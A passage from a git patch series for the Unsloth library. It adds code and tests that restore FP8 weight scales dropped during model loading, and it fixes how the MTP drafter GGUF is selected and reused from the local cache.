+    model.config = SimpleNamespace(
+        quantization_config = {"quant_method": "fp8", "weight_block_size": 2}
+    )
+    model.anchor = _fp8_anchor()
+    model.layer = _bf16_linear(4, 4, raw)
+
+    with tempfile.TemporaryDirectory() as d:
+        _write_checkpoint(d, {"layer.weight_scale_inv": scale})
+        restored, _ = _restore_dropped_fp8_scales(model, d, local_files_only = True)
+
+    assert restored == 1
+
+
+def test_text_only_prefix_mapping():
+    """Checkpoint keys with a language_model prefix match the stripped text-only module names."""
+    if _FP8 is None:
+        return
+    raw = torch.randn(2, 2, dtype = torch.bfloat16)
+    scale = torch.rand(1, 1, dtype = torch.float32) + 0.1
+
+    model = nn.Module()
+    model.config = _fp8_config((2, 2))
+    model.anchor = _fp8_anchor()
+    model.model = nn.Module()
+    model.model.gate_proj = _bf16_linear(2, 2, raw)  # module lacks the language_model prefix
+
+    with tempfile.TemporaryDirectory() as d:
+        # checkpoint key carries the language_model wrapper the text-only load stripped
+        _write_checkpoint(d, {"model.language_model.gate_proj.weight_scale_inv": scale})
+        restored, _ = _restore_dropped_fp8_scales(model, d, local_files_only = True)
+
+    assert restored == 1
+    expected = (raw.to(torch.float32) * _expand(scale, (2, 2), (2, 2))).to(torch.bfloat16)
+    assert torch.equal(model.model.gate_proj.weight.data, expected)
+
+
+def test_skips_variant_load():
+    """A variant load (variant="fp8") is skipped to avoid applying default-checkpoint scales."""
+    if _FP8 is None:
+        return
+    raw = torch.randn(4, 4, dtype = torch.bfloat16)
+    scale = torch.rand(2, 2, dtype = torch.float32) + 0.1
+    model = nn.Module()
+    model.config = _fp8_config((2, 2))
+    model.anchor = _fp8_anchor()
+    model.layer = _bf16_linear(4, 4, raw)
+    with tempfile.TemporaryDirectory() as d:
+        _write_checkpoint(d, {"layer.weight_scale_inv": scale})
+        result = _restore_dropped_fp8_scales(model, d, local_files_only = True, variant = "fp8")
+    assert result == (0, 0)
+    assert torch.equal(model.layer.weight.data, raw)  # untouched
+
+
+def test_vlm_language_model_model_alias():
+    """A checkpoint key language_model.model.* matches a model.language_model.* module."""
+    if _FP8 is None:
+        return
+    raw = torch.randn(2, 2, dtype = torch.bfloat16)
+    scale = torch.rand(1, 1, dtype = torch.float32) + 0.1
+    model = nn.Module()
+    model.config = _fp8_config((2, 2))
+    model.anchor = _fp8_anchor()
+    model.model = nn.Module()
+    model.model.language_model = nn.Module()
+    model.model.language_model.gate_proj = _bf16_linear(
+        2, 2, raw
+    )  # -> model.language_model.gate_proj
+    with tempfile.TemporaryDirectory() as d:
+        _write_checkpoint(d, {"language_model.model.gate_proj.weight_scale_inv": scale})
+        restored, _ = _restore_dropped_fp8_scales(model, d, local_files_only = True)
+    assert restored == 1
+    expected = (raw.to(torch.float32) * _expand(scale, (2, 2), (2, 2))).to(torch.bfloat16)
+    assert torch.equal(model.model.language_model.gate_proj.weight.data, expected)
+
+
+def test_noop_without_scale_keys():
+    if _FP8 is None:
+        return
+    model = nn.Module()
+    model.config = _fp8_config((2, 2))
+    model.anchor = _fp8_anchor()
+    model.layer = _bf16_linear(4, 4, torch.randn(4, 4, dtype = torch.bfloat16))
+    with tempfile.TemporaryDirectory() as d:
+        _write_checkpoint(d, {"layer.weight": torch.randn(4, 4)})
+        assert _restore_dropped_fp8_scales(model, d, local_files_only = True) == (0, 0)
+
+
+def test_noop_without_index_or_single_file():
+    if _FP8 is None:
+        return
+    model = nn.Module()
+    model.config = _fp8_config((2, 2))
+    model.anchor = _fp8_anchor()
+    model.layer = _bf16_linear(4, 4, torch.randn(4, 4, dtype = torch.bfloat16))
+    with tempfile.TemporaryDirectory() as d:
+        assert _restore_dropped_fp8_scales(model, d, local_files_only = True) == (0, 0)
+
+
+def test_noop_when_not_block_fp8():
+    """A non-fp8 (or non-block) quantization config is ignored."""
+    scale = torch.rand(2, 2)
+    model = nn.Module()
+    model.config = SimpleNamespace(quantization_config = {"quant_method": "compressed-tensors"})
+    model.layer = nn.Linear(4, 4, bias = False)
+    with tempfile.TemporaryDirectory() as d:
+        _write_checkpoint(d, {"layer.weight_scale_inv": scale})
+        assert _restore_dropped_fp8_scales(model, d, local_files_only = True) == (0, 0)
diff --git a/unsloth/models/llama.py b/unsloth/models/llama.py
index 05523bc27b..defacadfee 100644
--- a/unsloth/models/llama.py
+++ b/unsloth/models/llama.py
@@ -28,7 +28,11 @@ from ._utils import (
     is_bfloat16_supported,
     get_quant_type,
 )
-from .loader_utils import _exclude_rope_inv_freq_from_ddp, _get_fp8_mode_and_check_settings
+from .loader_utils import (
+    _exclude_rope_inv_freq_from_ddp,
+    _get_fp8_mode_and_check_settings,
+    _restore_dropped_fp8_scales,
+)
 from ..utils.packing import (
     get_packed_info_from_kwargs,
     mask_packed_sequence_boundaries,
@@ -2678,6 +2682,18 @@ class FastLlamaModel:
                     offload_embedding = False,
                     fast_inference = fast_inference,
                 )
+                # Re-apply block-fp8 weight_scale_inv tensors transformers dropped on load (#6200).
+                _restore_dropped_fp8_scales(
+                    model,
+                    model_name,
+                    local_files_only = kwargs.get("local_files_only", False),
+                    token = token,
+                    # Weights load from the default branch (revision not forwarded), so read scales from there too.
+                    revision = None,
+                    subfolder = kwargs.get("subfolder"),
+                    cache_dir = kwargs.get("cache_dir"),
+                    variant = kwargs.get("variant"),
+                )
             elif not fast_inference:
                 if user_config is not None:
                     # Transformers 5.x @strict model init rejects extra kwargs next
@@ -2716,6 +2732,18 @@ class FastLlamaModel:
                     offload_embedding = False,
                     fast_inference = False,
                 )
+                # Re-apply block-fp8 weight_scale_inv tensors transformers dropped on load (#6200).
+                _restore_dropped_fp8_scales(
+                    model,
+                    model_name,
+                    local_files_only = kwargs.get("local_files_only", False),
+                    token = token,
+                    # Weights load from the default branch (revision not forwarded), so read scales from there too.
+                    revision = None,
+                    subfolder = kwargs.get("subfolder"),
+                    cache_dir = kwargs.get("cache_dir"),
+                    variant = kwargs.get("variant"),
+                )
                 model.fast_generate = make_fast_generate_wrapper(model.generate)
                 model.fast_generate_batches = None
             else:
diff --git a/unsloth/models/loader_utils.py b/unsloth/models/loader_utils.py
index fa6282bcf6..1e9cc641e9 100644
--- a/unsloth/models/loader_utils.py
+++ b/unsloth/models/loader_utils.py
@@ -367,6 +367,287 @@ def _tag_model_with_fp8_torchao_config(model: torch.nn.Module, fp8_mode: str):
         pass
 
 
+_FP8_DTYPES = tuple(
+    dtype
+    for dtype in (getattr(torch, "float8_e4m3fn", None), getattr(torch, "float8_e5m2", None))
+    if dtype is not None
+)
+
+
+def _fp8_block_size_from_config(model):
+    """Return the [block_out, block_in] block size of an fp8 checkpoint, or None if not block-fp8."""
+    config = getattr(model, "config", None)
+    quant = getattr(config, "quantization_config", None)
+    if quant is None:
+        return None
+    if hasattr(quant, "to_dict"):
+        quant = quant.to_dict()
+    if not isinstance(quant, dict):
+        return None
+    if quant.get("quant_method") != "fp8":
+        return None
+    block = quant.get("weight_block_size")
+    if not block:
+        return None
+    if isinstance(block, (int, float)):
+        block = [block, block]
+    elif isinstance(block, (list, tuple)):
+        if len(block) == 1:
+            block = [block[0], block[0]]
+        elif len(block) < 2:
+            return None
+    else:
+        return None
+    return [int(block[0]), int(block[1])]
+
+
+def _load_fp8_weight_map(
+    model_name,
+    local_files_only,
+    token,
+    revision = None,
+    subfolder = None,
+    cache_dir = None,
+):
+    """Return the checkpoint's tensor->file map, using the same snapshot the load used.
+
+    Prefers the sharded `model.safetensors.index.json`; falls back to a single `model.safetensors`
+    (every tensor maps to that one file) so unsharded checkpoints are covered too.
+    """
+
+    def _local_path(filename):
+        return (
+            os.path.join(model_name, subfolder, filename)
+            if subfolder
+            else os.path.join(model_name, filename)
+        )
+
+    def _remote_path(filename):
+        from huggingface_hub import hf_hub_download
+        return hf_hub_download(
+            model_name,
+            filename,
+            revision = revision,
+            subfolder = subfolder,
+            cache_dir = cache_dir,
+            local_files_only = local_files_only,
+            token = token,
+        )
+
+    index_file = "model.safetensors.index.json"
+    single_file = "model.safetensors"
+    is_local = os.path.isdir(model_name)
+
+    # Sharded checkpoint.
+    if is_local and os.path.exists(_local_path(index_file)):
+        index_path = _local_path(index_file)
+    elif not is_local:
+        try:
+            index_path = _remote_path(index_file)
+        except Exception:
+            index_path = None
+    else:
+        index_path = None
+    if index_path is not None:
+        import json
+        with open(index_path, "r") as f:
+            return json.load(f).get("weight_map", None)
+
+    # Unsharded single file: map every tensor to it.
+    try:
+        if is_local and os.path.exists(_local_path(single_file)):
+            single_path = _local_path(single_file)
+        elif not is_local:
+            single_path = _remote_path(single_file)
+        else:
+            return None
+        from safetensors import safe_open
+        with safe_open(single_path, framework = "pt") as f:
+            return {key: single_file for key in f.keys()}
+    except Exception:
+        return None
+
+
+def _resolve_fp8_shard(
+    model_name,
+    shard,
+    local_files_only,
+    token,
+    revision = None,
+    subfolder = None,
+    cache_dir = None,
+):
+    """Resolve a checkpoint shard filename to a local path (repo id or local dir)."""
+    if os.path.isdir(model_name):
+        return (
+            os.path.join(model_name, subfolder, shard)
+            if subfolder
+            else os.path.join(model_name, shard)
+        )
+    from huggingface_hub import hf_hub_download
+
+    return hf_hub_download(
+        model_name,
+        shard,
+        revision = revision,
+        subfolder = subfolder,
+        cache_dir = cache_dir,
+        local_files_only = local_files_only,
+        token = token,
+    )
+
+
+def _match_fp8_module(module_by_name, base):
+    """Resolve a checkpoint module name to a live module, allowing for VLM key remappings.
+
+    VLM loads can name the text tower differently from the checkpoint keys: `text_only=True`
+    strips the `language_model.` wrapper (so `model.language_model.layers.*` -> `model.layers.*`),
+    and full VLM loads may expose `model.language_model.*` while the checkpoint stores
+    `language_model.model.*`. Try the raw key first, then a few safe remappings.
+    """
+    if base in module_by_name:
+        return module_by_name[base]
+    candidates = []
+    if "language_model." in base:
+        candidates.append(base.replace("language_model.", "", 1))  # text-only: drop wrapper
+    if "language_model.model." in base:
+        candidates.append(base.replace("language_model.model.", "model.language_model.", 1))
+    if base.startswith("language_model."):
+        candidates.append("model." + base)  # add model. prefix
+    for candidate in candidates:
+        if candidate in module_by_name:
+            return module_by_name[candidate]
+    return None
+
+
+def _restore_dropped_fp8_scales(
+    model,
+    model_name,
+    *,
+    local_files_only = False,
+    token = None,
+    revision = None,
+    subfolder = None,
+    cache_dir = None,
+    variant = None,
+):
+    """Re-apply block-fp8 `weight_scale_inv` tensors that transformers dropped on load.
+
+    On some block-scale fp8 checkpoints (e.g. Qwen3.6-27B-FP8, issue #6200) transformers fails to
+    convert a Linear (such as `mlp.gate_proj`) to an fp8 module, loading the raw quantized values
+    into a plain bf16 weight and discarding its `weight_scale_inv` as an unexpected key. The weight
+    is then used un-scaled, producing a garbage model. For every checkpoint scale whose live weight
+    is not fp8, dequantize the orphaned weight in place. Modules that were converted correctly keep
+    an fp8 weight and are skipped, so a healthy checkpoint is a no-op. Returns (restored, skipped).
+    """
+    try:
+        block = _fp8_block_size_from_config(model)
+        if block is None or not _FP8_DTYPES:
+            return (0, 0)
+        # A variant load reads variant-named files; skip to avoid applying default scales to them.
+        if variant:
+            return (0, 0)
+        # No fp8 params means the checkpoint was dequantized on purpose (e.g. load_in_16bit);
+        # re-applying a scale would corrupt those already-correct 16bit weights, so do nothing.
+        if not any(p.dtype in _FP8_DTYPES for p in model.parameters()):
+            return (0, 0)
+        weight_map = _load_fp8_weight_map(
+            model_name, local_files_only, token, revision, subfolder, cache_dir
+        )
+        if not weight_map:
+            return (0, 0)
+
+        scale_keys = {k: v for k, v in weight_map.items() if k.endswith(".weight_scale_inv")}
+        if not scale_keys:
+            return (0, 0)
+
+        module_by_name = dict(model.named_modules())
+        bs0, bs1 = block
+        restored = 0
+        skipped = 0
+        failed = 0
+        offloaded = 0
+        shard_cache = {}
+        for scale_key, shard in scale_keys.items():
+            base = scale_key[: -len(".weight_scale_inv")]
+            module = _match_fp8_module(module_by_name, base)
+            if module is None:
+                continue
+            weight = getattr(module, "weight", None)
+            if not isinstance(weight, torch.Tensor) or weight.ndim != 2:
+                continue
+            if weight.device.type == "meta":
+                # Disk-offloaded layer: weight lives on meta until forward, so it cannot be
+                # scaled in place here. Count and warn rather than silently leave it unscaled.
+                offloaded += 1
+                continue
+            if weight.dtype in _FP8_DTYPES:
+                # Correctly converted fp8 module: the fp8 path already handles the scale.
+                skipped += 1
+                continue
+
+            # Errors after this point are per-tensor: warn and continue, never abort or hide them.
+            try:
+                if shard not in shard_cache:
+                    from safetensors import safe_open
+                    shard_path = _resolve_fp8_shard(
+                        model_name,
+                        shard,
+                        local_files_only,
+                        token,
+                        revision,
+                        subfolder,
+                        cache_dir,
+                    )
+                    shard_cache[shard] = safe_open(shard_path, framework = "pt")
+                scale = shard_cache[shard].get_tensor(scale_key).to(torch.float32)
+
+                out_features, in_features = weight.shape
+                out_blocks = (out_features + bs0 - 1) // bs0
+                in_blocks = (in_features + bs1 - 1) // bs1
+                if tuple(scale.shape) == (out_blocks, in_blocks):
+                    pass
+                elif tuple(scale.shape) == (in_blocks, out_blocks) and out_blocks != in_blocks:
+                    # Transposed block layout: same handling as the fp8 forward path.
+                    scale = scale.t().contiguous()
+                else:
+                    # Shape does not match the block grid: skip rather than apply a wrong scale.
+                    continue
+                scale = scale.to(weight.device)
+                with torch.no_grad():
+                    if out_features % bs0 == 0 and in_features % bs1 == 0:
+                        # Memory-frugal path: multiply block views in place against the broadcast
+                        # fp32 scale, avoiding a full expanded scale and fp32 copy that could OOM.
+                        # The in-place multiply promotes to fp32, matching the fallback exactly.
+                        module.weight.data.view(out_blocks, bs0, in_blocks, bs1).mul_(
+                            scale[:, None, :, None]
+                        )
+                    else:
+                        scale_expanded = scale.repeat_interleave(bs0, dim = 0).repeat_interleave(
+                            bs1, dim = 1
+                        )[:out_features, :in_features]
+                        module.weight.data = (weight.to(torch.float32) * scale_expanded).to(
+                            weight.dtype
+                        )
+                restored += 1
+            except Exception:
+                failed += 1
+                continue
+
+        if restored > 0:
+            print(f"Unsloth: Restored {restored} dropped FP8 weight_scale_inv tensor(s) on load")
+        if failed > 0:
+            print(f"Unsloth: {failed} dropped FP8 weight_scale_inv tensor(s) could not be restored")
+        if offloaded > 0:
+            print(
+                f"Unsloth: {offloaded} dropped FP8 weight_scale_inv tensor(s) skipped because the "
+                "layer is disk-offloaded; load without disk offload so the scales can be restored"
+            )
+        return (restored, skipped)
+    except Exception:
+        return (0, 0)
+
+
 def check_and_disable_bitsandbytes_loading(
     model_config,
     load_in_4bit = True,
diff --git a/unsloth/models/vision.py b/unsloth/models/vision.py
index 0235d80e93..3b5af39e69 100644
--- a/unsloth/models/vision.py
+++ b/unsloth/models/vision.py
@@ -41,7 +41,11 @@ from ._utils import (
     set_task_config_attr,
 )
 from ._utils import *
-from .loader_utils import _exclude_rope_inv_freq_from_ddp, _get_fp8_mode_and_check_settings
+from .loader_utils import (
+    _exclude_rope_inv_freq_from_ddp,
+    _get_fp8_mode_and_check_settings,
+    _restore_dropped_fp8_scales,
+)
 from ..save import patch_saving_functions
 from ..models.loader_utils import is_distributed
 from unsloth_zoo.gradient_checkpointing import (
@@ -1192,6 +1196,17 @@ class FastBaseModel:
                     offload_embedding = offload_embedding,
                     fast_inference = fast_inference,
                 )
+                # Re-apply block-fp8 weight_scale_inv tensors transformers dropped on load (#6200).
+                _restore_dropped_fp8_scales(
+                    model,
+                    model_name,
+                    local_files_only = local_files_only,
+                    token = token,
+                    revision = kwargs.get("revision"),
+                    subfolder = kwargs.get("subfolder"),
+                    cache_dir = kwargs.get("cache_dir"),
+                    variant = kwargs.get("variant"),
+                )
                 if hasattr(model, "generate"):
                     model.fast_generate = make_fast_generate_wrapper(model.generate)
                     model.fast_generate_batches = error_out_no_vllm

From b5aef63c03a1927ebec6d0e662b6c95c1a41d9ae Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Thu, 9 Jul 2026 06:46:00 -0700
Subject: [PATCH 292/306] Studio: resolve the repo-root MTP drafter after the
 MTP/ GGUF rename (#7031)

* Studio: resolve the repo-root MTP drafter after the MTP/ GGUF rename

The Gemma 4 QAT GGUF repos renamed the higher-precision MTP/ subdir
copies from gemma-4-...-<quant>-MTP.gguf to mtp-gemma-4-...-<quant>.gguf,
so their basenames now start with the same mtp- prefix as the small
repo-root drafter (mtp-gemma-4-E4B-it.gguf).

The drafter selectors filtered candidates by a mtp- basename prefix and
took the first in sort order. With the new names the MTP/ copies also
match, and because MTP/ (uppercase) sorts before the lowercase root file,
selection flipped to the large BF16 copy under MTP/ instead of the root
drafter both functions document they should pick.

Restrict both selectors, and the companion byte estimate, to root-level
mtp-*.gguf so the MTP/ copies stay explicit-selection only:
- core/inference/llama_cpp.py _pick_mtp (loader auto-download)
- hub/utils/gguf_plan.py preferred_mtp_sibling (Hub variant plans)
- routes/inference.py _remote_gguf_companion_bytes (VRAM headroom)

Also reuse a drafter already in the local cache before downloading, so a
device that already holds a copy on disk does not re-fetch it.

Old-scheme names keep working (they have no root-level mtp- sibling to
mis-select). Adds regression tests for the new naming, both selection
paths, and the on-disk reuse.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: gate MTP drafter cache reuse to offline mode

Reuse the cached drafter only when HF is offline. Online, route back
through _download_companion_gguf/hf_hub_download so the current revision
is checked (etag) and a changed drafter is refetched, matching the
offline-only cross-snapshot reuse already used for the main GGUF. This
avoids pairing freshly downloaded weights with a stale cached draft.
Make the reuse tests offline and add an online-skips-reuse test.

* Studio: prefer a root MTP drafter across all cached snapshots

Offline reuse scanned snapshots one at a time and returned the first
snapshot that held any drafter, only preferring root within it. A newer
partial snapshot with just the MTP/ copy could shadow the small root
drafter in an older snapshot. Collect drafters across all snapshots and
prefer any repo-root file before an MTP/ copy.

* Studio: keep newest-first snapshot order when reusing cached drafters

Collecting root candidates and sorting by absolute snapshot path could
pick a drafter from an older snapshot. _iter_hf_cache_snapshots yields
newest first and the main GGUF is resolved in that order, so preserve it
(root still preferred over MTP/ copies) to avoid pairing a fresh main
weight with a stale drafter revision.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 studio/backend/core/inference/llama_cpp.py    |  39 +++-
 studio/backend/hub/utils/gguf_plan.py         |  13 +-
 studio/backend/routes/inference.py            |   8 +-
 .../tests/test_mtp_drafter_companion.py       | 183 +++++++++++++++++-
 4 files changed, 233 insertions(+), 10 deletions(-)

diff --git a/studio/backend/core/inference/llama_cpp.py b/studio/backend/core/inference/llama_cpp.py
index 3ba9eff857..7d782fbbdd 100644
--- a/studio/backend/core/inference/llama_cpp.py
+++ b/studio/backend/core/inference/llama_cpp.py
@@ -4673,6 +4673,29 @@ class LlamaCppBackend:
             cancel_event = cancel_event,
         )
 
+    def _cached_repo_mtp_drafter(self, hf_repo: str) -> Optional[str]:
+        """A drafter already in this repo's local HF cache, reused offline when a
+        fresh copy can't be fetched. Prefers a repo-root ``mtp-*.gguf`` across all
+        cached snapshots; else an existing ``MTP/`` copy (any precision -- the
+        target verifies every drafted token). None if none is cached."""
+        try:
+            from utils.models.model_config import _iter_hf_cache_snapshots
+
+            roots: list[Path] = []
+            subdirs: list[Path] = []
+            for snap in _iter_hf_cache_snapshots(hf_repo):  # newest first
+                for f in sorted(_gguf_snapshot_files(snap)):
+                    if _is_companion_gguf_path(f) and "mmproj" not in f.lower():
+                        (roots if "/" not in f else subdirs).append(snap / f)
+            # Keep snapshot order (newest first), root before any MTP/ copy, so a
+            # newer main GGUF pairs with the newest cached drafter, not a stale one.
+            for cand in roots + subdirs:
+                if cand.is_file():
+                    return str(cand)
+        except Exception as e:
+            logger.debug("Cached MTP drafter lookup failed for %s: %s", hf_repo, e)
+        return None
+
     def _download_mtp(
         self,
         *,
@@ -4689,11 +4712,25 @@ class LlamaCppBackend:
         are intentionally skipped. Returns the local path, or None.
         """
 
+        # Offline, reuse any drafter already on disk (a fresh copy can't be
+        # fetched). Online, _download_companion_gguf/hf_hub_download reuse the
+        # current cached file and refetch a changed one, so skip the probe here
+        # rather than pair new weights with a stale draft.
+        if _hf_env_offline():
+            cached = self._cached_repo_mtp_drafter(hf_repo)
+            if cached:
+                logger.info(f"Reusing cached MTP drafter (offline): {cached}")
+                return cached
+
         def _pick_mtp(candidates: list[str]) -> Optional[str]:
+            # Root-level only: MTP/ subdir copies now share the mtp- prefix but
+            # are explicit-selection, not auto-fetch (they'd sort ahead of root).
             mtp_files = sorted(
                 f
                 for f in candidates
-                if f.lower().endswith(".gguf") and Path(f).name.lower().startswith("mtp-")
+                if f.lower().endswith(".gguf")
+                and "/" not in f
+                and Path(f).name.lower().startswith("mtp-")
             )
             return mtp_files[0] if mtp_files else None
 
diff --git a/studio/backend/hub/utils/gguf_plan.py b/studio/backend/hub/utils/gguf_plan.py
index 2abdb0fb79..18daa4f84e 100644
--- a/studio/backend/hub/utils/gguf_plan.py
+++ b/studio/backend/hub/utils/gguf_plan.py
@@ -102,16 +102,17 @@ def preferred_mmproj_sibling(siblings: Sequence) -> Optional[object]:
 def preferred_mtp_sibling(siblings: Sequence) -> Optional[object]:
     """The separate MTP drafter to fetch with every variant: the repo-root
     ``mtp-*.gguf`` copy unsloth ships for llama.cpp ``-hf`` auto-discovery
-    (Gemma 4). Same pick as the loader's drafter resolution (``mtp-`` basename
-    prefix, first in sort order) so download and load resolve the same file;
-    the higher-precision ``MTP/`` subdir copies are for explicit selection and
-    are not auto-fetched. None for repos with the head baked into the main
-    GGUF (Qwen)."""
+    (Gemma 4). Same pick as the loader's drafter resolution (root-level
+    ``mtp-`` prefix, first in sort order) so download and load resolve the same
+    file; the higher-precision ``MTP/`` subdir copies are for explicit
+    selection and are not auto-fetched. None for repos with the head baked into
+    the main GGUF (Qwen)."""
+    # Root-level only: the MTP/ subdir copies now share the mtp- prefix too.
     candidates = sorted(
         (
             s
             for s in siblings
-            if (name := _gguf_rfilename(s)) and name.lower().rsplit("/", 1)[-1].startswith("mtp-")
+            if (name := _gguf_rfilename(s)) and "/" not in name and name.lower().startswith("mtp-")
         ),
         key = lambda s: getattr(s, "rfilename"),
     )
diff --git a/studio/backend/routes/inference.py b/studio/backend/routes/inference.py
index 4bb9ce655e..1e39c6d129 100644
--- a/studio/backend/routes/inference.py
+++ b/studio/backend/routes/inference.py
@@ -3075,10 +3075,14 @@ def _remote_gguf_companion_bytes(
         info = model_info(repo, token = hf_token, files_metadata = True)
         total = 0
         for sibling in info.siblings or []:
-            base = Path(sibling.rfilename or "").name.lower()
+            name = sibling.rfilename or ""
+            base = Path(name).name.lower()
             if not base.endswith(".gguf"):
                 continue
-            if base.startswith("mtp-") or (include_mmproj and "mmproj" in base):
+            # Root-level mtp- only: -hf auto-fetches the repo-root drafter, not
+            # the MTP/ subdir copies (which now share the mtp- prefix too).
+            is_root_mtp = "/" not in name and base.startswith("mtp-")
+            if is_root_mtp or (include_mmproj and "mmproj" in base):
                 total += getattr(sibling, "size", 0) or 0
         return total
     except Exception as e:
diff --git a/studio/backend/tests/test_mtp_drafter_companion.py b/studio/backend/tests/test_mtp_drafter_companion.py
index d5e8d13652..86e528ae67 100644
--- a/studio/backend/tests/test_mtp_drafter_companion.py
+++ b/studio/backend/tests/test_mtp_drafter_companion.py
@@ -23,7 +23,11 @@ if _BACKEND_DIR not in sys.path:
 
 from hub.utils.download_manifest import ExpectedFile
 from hub.utils.gguf import is_mtp_drafter_path
-from hub.utils.gguf_plan import build_gguf_variant_plans, plan_from_expected_files
+from hub.utils.gguf_plan import (
+    build_gguf_variant_plans,
+    plan_from_expected_files,
+    preferred_mtp_sibling,
+)
 from utils.models.model_config import (
     _is_mtp_drafter,
     detect_gguf_model,
@@ -37,6 +41,8 @@ from utils.models.model_config import (
 DRAFTER_CASES = [
     ("mtp-gemma-4-12b-it.gguf", True),
     ("MTP/gemma-4-12b-it-Q8_0-MTP.gguf", True),
+    # New-scheme MTP/ copies carry the mtp- basename prefix too.
+    ("MTP/mtp-gemma-4-E4B-it-BF16.gguf", True),
     ("foo/MTP/bar.gguf", True),
     ("gemma-4-12b-it-Q8_0.gguf", False),
     # Baked-in Qwen MTP repos: the head is inside the main GGUF, the file
@@ -274,3 +280,178 @@ def test_detect_gguf_model_rejects_mtp_subdir_copy(tmp_path):
     assert detect_gguf_model(str(copy)) is None
     # Selecting the MTP dir itself must not surface the copies as models.
     assert detect_gguf_model(str(sub)) is None
+
+
+# ── Root drafter wins over new-scheme MTP/ copies ────────────────────
+# The MTP/ copies were renamed to share the mtp- basename prefix (e.g.
+# MTP/mtp-gemma-4-E4B-it-BF16.gguf). Auto-fetch/load must still resolve the
+# small repo-root drafter, not a sort-first MTP/ copy (uppercase precedes
+# lowercase, so the subdir path would otherwise win).
+
+NEW_SCHEME_SIBLINGS = [
+    _sib("gemma-4-12b-it-Q4_K_M.gguf", 4_000, "main-q4"),
+    _sib("gemma-4-12b-it-Q8_0.gguf", 8_000, "main-q8"),
+    _sib("mtp-gemma-4-12b-it.gguf", 100, "drafter"),
+    _sib("MTP/mtp-gemma-4-12b-it-Q8_0.gguf", 100, "mtp-sub-q8"),
+    _sib("MTP/mtp-gemma-4-12b-it-BF16.gguf", 200, "mtp-sub-bf16"),
+    _sib("mmproj-F16.gguf", 500, "mmproj"),
+]
+
+
+def test_preferred_mtp_sibling_prefers_root_over_new_scheme_copies():
+    picked = preferred_mtp_sibling(NEW_SCHEME_SIBLINGS)
+    assert picked is not None and picked.rfilename == "mtp-gemma-4-12b-it.gguf"
+
+
+def test_variant_plans_new_scheme_uses_root_drafter():
+    plans = build_gguf_variant_plans(NEW_SCHEME_SIBLINGS)
+    assert set(plans) == {"q4_k_m", "q8_0"}
+    for plan in plans.values():
+        assert "mtp-gemma-4-12b-it.gguf" in plan.target_filenames
+        assert not any("MTP/" in name for name in plan.target_filenames)
+        assert "drafter" in plan.companion_hashes
+    # Download size = main + mmproj + root drafter (not the 200-byte BF16 copy).
+    assert plans["q4_k_m"].download_size_bytes == 4_600
+
+
+def test_download_mtp_prefers_root_over_new_scheme_copies(monkeypatch):
+    # _pick_mtp is nested; capture it via the companion-download seam.
+    from core.inference.llama_cpp import LlamaCppBackend
+
+    monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)  # online: skip reuse probe
+    captured = {}
+
+    def _fake_companion(
+        *,
+        hf_repo,
+        hf_token,
+        pick,
+        label,
+        cancel_event = None,
+    ):
+        captured["pick"] = pick
+        return None
+
+    b = LlamaCppBackend()
+    b._download_companion_gguf = _fake_companion
+    b._download_mtp(hf_repo = "unsloth/gemma-4-E4B-it-qat-mobile-GGUF")
+
+    repo_files = [
+        "MTP/mtp-gemma-4-E4B-it-BF16.gguf",
+        "MTP/mtp-gemma-4-E4B-it-Q4_0.gguf",
+        "MTP/mtp-gemma-4-E4B-it-Q8_0.gguf",
+        "gemma-4-E4B-it-qat-UD-Q2_K_XL.gguf",
+        "mmproj-F16.gguf",
+        "mtp-gemma-4-E4B-it.gguf",
+    ]
+    assert captured["pick"](repo_files) == "mtp-gemma-4-E4B-it.gguf"
+
+
+# ── Reuse an on-disk drafter offline; fetch fresh online ─────────────
+
+
+def _seed_snapshot(tmp_path, names):
+    snap = tmp_path / "snap"
+    for rel in names:
+        f = snap / rel
+        f.parent.mkdir(parents = True, exist_ok = True)
+        f.write_bytes(b"x")
+    return snap
+
+
+def test_download_mtp_reuses_cached_root_drafter_offline(tmp_path, monkeypatch):
+    import utils.models.model_config as mc
+    from core.inference.llama_cpp import LlamaCppBackend
+
+    monkeypatch.setenv("HF_HUB_OFFLINE", "1")
+    snap = _seed_snapshot(
+        tmp_path,
+        [
+            "gemma-4-E4B-it-qat-UD-Q2_K_XL.gguf",
+            "mtp-gemma-4-E4B-it.gguf",
+            "MTP/mtp-gemma-4-E4B-it-BF16.gguf",
+            "mmproj-F16.gguf",
+        ],
+    )
+    monkeypatch.setattr(mc, "_iter_hf_cache_snapshots", lambda repo: [snap])
+
+    got = LlamaCppBackend()._download_mtp(hf_repo = "unsloth/gemma-4-E4B-it-qat-mobile-GGUF")
+    assert got is not None and Path(got).name == "mtp-gemma-4-E4B-it.gguf"
+
+
+def test_download_mtp_reuses_cached_subdir_copy_when_no_root_offline(tmp_path, monkeypatch):
+    # Pre-fix build may have fetched only the MTP/ copy; reuse it offline.
+    import utils.models.model_config as mc
+    from core.inference.llama_cpp import LlamaCppBackend
+
+    monkeypatch.setenv("HF_HUB_OFFLINE", "1")
+    snap = _seed_snapshot(
+        tmp_path,
+        [
+            "gemma-4-E4B-it-qat-UD-Q2_K_XL.gguf",
+            "MTP/mtp-gemma-4-E4B-it-BF16.gguf",
+        ],
+    )
+    monkeypatch.setattr(mc, "_iter_hf_cache_snapshots", lambda repo: [snap])
+
+    got = LlamaCppBackend()._download_mtp(hf_repo = "unsloth/gemma-4-E4B-it-qat-mobile-GGUF")
+    assert got is not None and Path(got).name == "mtp-gemma-4-E4B-it-BF16.gguf"
+
+
+def test_download_mtp_prefers_root_across_snapshots_offline(tmp_path, monkeypatch):
+    # A newer partial snapshot holds only the MTP/ copy; an older one has the
+    # root. Must still return the small root, not the large subdir copy.
+    import utils.models.model_config as mc
+    from core.inference.llama_cpp import LlamaCppBackend
+
+    monkeypatch.setenv("HF_HUB_OFFLINE", "1")
+    snap_partial = _seed_snapshot(tmp_path / "new", ["MTP/mtp-gemma-4-E4B-it-BF16.gguf"])
+    snap_full = _seed_snapshot(tmp_path / "old", ["mtp-gemma-4-E4B-it.gguf"])
+    monkeypatch.setattr(mc, "_iter_hf_cache_snapshots", lambda repo: [snap_partial, snap_full])
+
+    got = LlamaCppBackend()._download_mtp(hf_repo = "unsloth/gemma-4-E4B-it-qat-mobile-GGUF")
